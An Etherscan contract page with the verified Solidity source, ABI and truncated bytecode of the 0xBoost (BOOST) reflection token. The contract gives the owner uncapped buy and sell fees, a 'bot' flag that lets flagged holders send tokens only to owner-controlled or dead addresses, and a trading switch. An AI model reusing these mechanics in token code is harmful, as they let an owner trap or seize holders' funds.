ETH Price: $2,442.29 (+4.80%)

Token

0xBoost (BOOST)
 

Overview

Max Total Supply

20,000,000 BOOST

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.875344269 BOOST

Value
$0.00
0xD8C7a3516Eb8100A26b53EeF7db3F516F6ab6080
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Boost

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

// https://t.me/Portal0xBoost

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Boost is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "0xBoost";
    string private constant _symbol = "BOOST";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) public flaggedAsBot;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 20000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0xC729F4b7366aC2086B7B77D669371F47B30a0DdE);
    address payable private _marketingAddress = payable(0x63a8120aAF3e0462b9773b7Ac82639291248943D);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _swapTokensAtAmount = (_tTotal * 5) / 10000;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(uint256 startFeeBuy, uint256 startFeeSell) {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _taxFeeOnBuy = startFeeBuy;
        _taxFeeOnSell = startFeeSell;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            if (from != _developmentAddress && to != _developmentAddress) {
                require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

                if(to != uniswapV2Pair) {
                    require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
                }
            }

            if (tradingOpen) {
                require(
                    !flaggedAsBot[from] || to == _marketingAddress || to == owner() || to == address(0xdead),
                    "Bots cannot transfer tokens in or out except to owner, marketing, or dead address."
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == owner() || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == owner() || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }


    function flagMultipleBots(address[] memory wallets) external onlyOwner {
        require(
            wallets.length < 600,
            "Can only mark 600 wallets per txn due to gas limits"
        );

        for (uint256 i = 0; i < wallets.length; i++) {
            address wallet = wallets[i];
            flaggedAsBot[wallet] = true;
        }
    }

    function unflagMultipleBots(address[] memory wallets) external onlyOwner {
        require(
            wallets.length < 600,
            "Can only mark 600 wallets per txn due to gas limits"
        );
        for (uint256 i = 0; i < wallets.length; i++) {
            address wallet = wallets[i];
            flaggedAsBot[wallet] = false;
        }
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"startFeeBuy","type":"uint256"},{"internalType":"uint256","name":"startFeeSell","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"}],"name":"flagMultipleBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"flaggedAsBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"}],"name":"unflagMultipleBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266470de4df8200006000196200001b9190620007b2565b6000196200002a919062000819565b60075560006009556000600a556000600b556000600c55600b54600d55600c54600e55600d54600f55600e5460105573c729f4b7366ac2086b7b77d669371f47b30a0dde601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507363a8120aaf3e0462b9773b7ac82639291248943d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506064600266470de4df8200006200016b919062000854565b6200017791906200089f565b6016556064600266470de4df82000062000192919062000854565b6200019e91906200089f565b601755612710600566470de4df820000620001ba919062000854565b620001c691906200089f565b601855348015620001d657600080fd5b5060405162004b3438038062004b348339818101604052810190620001fc91906200090d565b60006200020e6200074860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060075460026000620002c36200074860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003cd9190620009b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000435573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045b9190620009b9565b6040518363ffffffff1660e01b81526004016200047a929190620009fc565b6020604051808303816000875af11580156200049a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c09190620009b9565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600a8190555081600c81905550600160056000620005246200075060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620006d16200074860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66470de4df82000060405162000737919062000a3a565b60405180910390a350505062000a57565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007bf8262000779565b9150620007cc8362000779565b925082620007df57620007de62000783565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008268262000779565b9150620008338362000779565b92508282039050818111156200084e576200084d620007ea565b5b92915050565b6000620008618262000779565b91506200086e8362000779565b92508282026200087e8162000779565b91508282048414831517620008985762000897620007ea565b5b5092915050565b6000620008ac8262000779565b9150620008b98362000779565b925082620008cc57620008cb62000783565b5b828204905092915050565b600080fd5b620008e78162000779565b8114620008f357600080fd5b50565b6000815190506200090781620008dc565b92915050565b60008060408385031215620009275762000926620008d7565b5b60006200093785828601620008f6565b92505060206200094a85828601620008f6565b9150509250929050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009818262000954565b9050919050565b620009938162000974565b81146200099f57600080fd5b50565b600081519050620009b38162000988565b92915050565b600060208284031215620009d257620009d1620008d7565b5b6000620009e284828501620009a2565b91505092915050565b620009f68162000974565b82525050565b600060408201905062000a136000830185620009eb565b62000a226020830184620009eb565b9392505050565b62000a348162000779565b82525050565b600060208201905062000a51600083018462000a29565b92915050565b6140cd8062000a676000396000f3fe6080604052600436106101d15760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063dd62ed3e11610064578063dd62ed3e1461065d578063e1d9888f1461069a578063ea1644d5146106c3578063f2fde38b146106ec576101d8565b8063a2a957bb146105b7578063a9059cbb146105e0578063c3c8cd801461061d578063c492f04614610634576101d8565b80638f70ccf7116100d15780638f70ccf71461050f5780638f9a55c01461053857806395d89b411461056357806398a5c3151461058e576101d8565b80637d1db4a51461047c5780637f2feddc146104a75780638da5cb5b146104e4576101d8565b8063313ce5671161016f57806370a082311161013e57806370a08231146103d6578063713318c114610413578063715018a61461043c57806374010ece14610453576101d8565b8063313ce5671461034057806349bd5a5e1461036b5780636d8aa8f8146103965780636fc3eaec146103bf576101d8565b80631694505e116101ab5780631694505e1461028257806318160ddd146102ad57806323b872dd146102d85780632fd689e314610315576101d8565b8063017e0192146101dd57806306fdde031461021a578063095ea7b314610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190612e8c565b610715565b6040516102119190612ed4565b60405180910390f35b34801561022657600080fd5b5061022f610735565b60405161023c9190612f7f565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190612fd7565b610772565b6040516102799190612ed4565b60405180910390f35b34801561028e57600080fd5b50610297610790565b6040516102a49190613076565b60405180910390f35b3480156102b957600080fd5b506102c26107b6565b6040516102cf91906130a0565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906130bb565b6107c5565b60405161030c9190612ed4565b60405180910390f35b34801561032157600080fd5b5061032a61089e565b60405161033791906130a0565b60405180910390f35b34801561034c57600080fd5b506103556108a4565b604051610362919061312a565b60405180910390f35b34801561037757600080fd5b506103806108ad565b60405161038d9190613154565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b8919061319b565b6108d3565b005b3480156103cb57600080fd5b506103d4610985565b005b3480156103e257600080fd5b506103fd60048036038101906103f89190612e8c565b610a9a565b60405161040a91906130a0565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190613310565b610aeb565b005b34801561044857600080fd5b50610451610c60565b005b34801561045f57600080fd5b5061047a60048036038101906104759190613359565b610db3565b005b34801561048857600080fd5b50610491610e52565b60405161049e91906130a0565b60405180910390f35b3480156104b357600080fd5b506104ce60048036038101906104c99190612e8c565b610e58565b6040516104db91906130a0565b60405180910390f35b3480156104f057600080fd5b506104f9610e70565b6040516105069190613154565b60405180910390f35b34801561051b57600080fd5b506105366004803603810190610531919061319b565b610e99565b005b34801561054457600080fd5b5061054d610f4b565b60405161055a91906130a0565b60405180910390f35b34801561056f57600080fd5b50610578610f51565b6040516105859190612f7f565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190613359565b610f8e565b005b3480156105c357600080fd5b506105de60048036038101906105d99190613386565b61102d565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612fd7565b6110e4565b6040516106149190612ed4565b60405180910390f35b34801561062957600080fd5b50610632611102565b005b34801561064057600080fd5b5061065b60048036038101906106569190613448565b61121f565b005b34801561066957600080fd5b50610684600480360381019061067f91906134a8565b611359565b60405161069191906130a0565b60405180910390f35b3480156106a657600080fd5b506106c160048036038101906106bc9190613310565b6113e0565b005b3480156106cf57600080fd5b506106ea60048036038101906106e59190613359565b611555565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612e8c565b6115f4565b005b60066020528060005260406000206000915054906101000a900460ff1681565b60606040518060400160405280600781526020017f3078426f6f737400000000000000000000000000000000000000000000000000815250905090565b600061078661077f6117b5565b84846117bd565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600066470de4df820000905090565b60006107d2848484611986565b610893846107de6117b5565b61088e8560405180606001604052806028815260200161407060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108446117b5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123489092919063ffffffff16565b6117bd565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108db6117b5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90613534565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c66117b5565b73fffffffffffffffff